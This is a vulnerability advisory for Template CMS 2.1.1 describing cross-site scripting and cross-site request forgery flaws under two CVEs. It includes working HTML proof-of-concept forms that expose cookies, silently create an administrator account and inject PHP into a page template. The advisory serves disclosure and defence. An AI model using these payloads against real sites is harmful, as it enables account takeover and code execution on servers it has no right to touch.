Total Tests:

Multiple vulnerabilities in Template CMS

Advisory ID:HTB23115
Product:Template CMS
Vendor: Template CMS
Vulnerable Versions:2.1.1 and probably prior
Tested Version:2.1.1
Advisory Publication:September 12, 2012 [without technical details]
Vendor Notification:September 12, 2012
Public Disclosure:October 3, 2012
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
CVE References:CVE-2012-4901
CVE-2012-4902
Risk Level:High
CVSSv2 Base Scores:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in Template CMS, which can be exploited to perform Cross-Site Scripting (XSS) and Сross-Site Request Forgery (CSRF) attacks.

1) Cross-Site Scripting (XSS) in Template CMS: CVE-2012-4901
Input passed via the "themes_editor" POST parameter to /admin/index.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of an affected website.

The following PoC (Proof of Concept) demonstrates the vulnerability:
<form action="http://[host]/admin/index.php?action=add_template&id=themes" method="post">
<input type="hidden" name="themes_editor" value='</textarea><script>alert(document.cookie);</script>' />
<input type="hidden" name="themes_editor_name" value='' />
<input type="hidden" name="add_template" value='' />
<input type="submit" id="btn">
</form>


2) Сross-Site Request Forgery (CSRF) in Template CMS: CVE-2012-4902
The application allows authorized administrator to perform certain actions via HTTP requests without making proper validity checks to verify the source of the requests. This can be exploited to add, delete or modify sensitive information, for example to create new administrator or execute arbitrary PHP code.
An attacker has to trick a logged-in administrator to visit a malicious web page containing the following code that will add a new administrator to the CMS:
<form action="http://[host]/admin/index.php?id=system&sub_id=users&action=add" method="post">
<input type="hidden" name="login" value='newadmin' />
<input type="hidden" name="password" value='password' />
<input type="hidden" name="email" value='newadmin@mail.com' />
<input type="hidden" name="role" value='admin' />
<input type="hidden" name="register" value='' />
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</scr ipt>


The second PoC adds arbitrary PHP code (phpinfo() in our case) into CMS's page:
<form action="http://[host]/admin/index.php?id=themes&action=edit_template&file=ab outTemplate.php" method="post">
<input type="hidden" name="themes_editor_name" value='about' />
<input type="hidden" name="themes_editor" value='<? phpinfo(); ?>' />
<input type="hidden" name="old_name" value="about" />
<input type="hidden" name="edit_template" value='' />
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</scr ipt>

The phpinfo() function will be executed [if allowed by web server configuration] on the following web page:
http://[vulnerable_host]/about

How to Detect Cross-Site Scripting Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB23115 - https://www.immuniweb.com/advisory/HTB23115 - Multiple vulnerabilities in Template CMS.
[2] Template CMS - http://template-cms.ru - Template CMS is a fast and simple content management system written in PHP.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a technical question?

Our security experts will answer within
one business day. No obligations.

Have a sales question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
Your data will stay private and confidential